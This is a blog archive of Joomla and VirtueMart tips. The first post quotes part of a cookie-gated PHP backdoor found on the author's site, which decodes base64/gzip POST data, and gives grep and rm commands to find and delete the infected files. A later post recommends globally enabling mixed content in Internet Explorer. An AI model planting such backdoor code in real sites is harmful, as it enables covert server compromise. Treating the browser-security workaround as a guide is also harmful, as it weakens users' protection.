Category Archives: Joomla

How I removed infected PHP files from Joomla 1.5 wesite.

I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:

if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  echo '</textarea>bg';

I used the following commands to list them and remove them:

find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm

What browser can work with Joomla 1.5 administrator panel?

Today I updated my FireFox browser and Joomla 1.5x administrator panel stopped working in it. Looks like Joomla 1.5x administrator panel contains some staff that prevents it from working in all modern browsers except Internet Explorer, or at least Internet Explorer is the only browser that displays message “Only secure content is displayed.” and button “Show All Content” enabling some insecure mode. To eliminate the need of pressing this button each time I open new page in administrator panel I went to “Internet Options->Security Tab->Miscellaneous->Display mixed content” and chose “Enable”:

enabling some insecure mode in IE

How to remove ID from URL in Joomla 2.5, 3.0 & 3.6

Open components\com_content\router.php in an editor and make a small changes:

in function ContentBuildRoute(&$query) replace line 27

$advanced    = $params->get('sef_advanced_link', 0);


$advanced    = $params->get('sef_advanced_link', 1);

in function ContentParseRoute($segments) replace line 208

$advanced    = $params->get('sef_advanced_link', 0);


$advanced    = $params->get('sef_advanced_link', 1);


Investigating VirtueMart 2.0 – part I

Recently I have started investigating VirtueMart 2.0.6.  Below I recorded various issues that I have found along the way. Hopefully someone else (possibly myself down the line) will find these useful.

Configuring “Safe Path”

Create directory /home/test1/vmfiles:

mkdir /home/test1/vmfiles

Go to Configuration->Templates, enter the path:


and press Save button.


How to modify product page title in VirtueMart 1.1.9, Joomla 1.5.23

Function $document->setTitle($title) is called from “administrator/components/com_virtuemart/classes/mainframe.class.php”:

function setPageTitle( $title ) {
    global $mainframe;
    $title = strip_tags(str_replace('&nbsp;',' ', $title));
    $title = trim($title);
    if( defined( '_VM_IS_BACKEND')) {
        echo vmCommonHTML::scriptTag('', "//<![CDATA[
        var vm_page_title=\"".str_replace('"', '\"', $title )."\";
        try{ parent.document.title = vm_page_title; } catch(e) { document.title =vm_page_title; } 
    elseif( vmIsJoomla('1.5') ) {
        $document=& JFactory::getDocument();
    } else {
        $mainframe->setPageTitle( $title );


Progressive discounts in VirtueMart

I did some investigation of VirtueMart 1.1.x discount system and the first thing I did notice is that VirtueMart 1.1.x does not support progressive discounts natively. In other words it does not allow to define the discount based on the amount of products bought or total amount of money paid.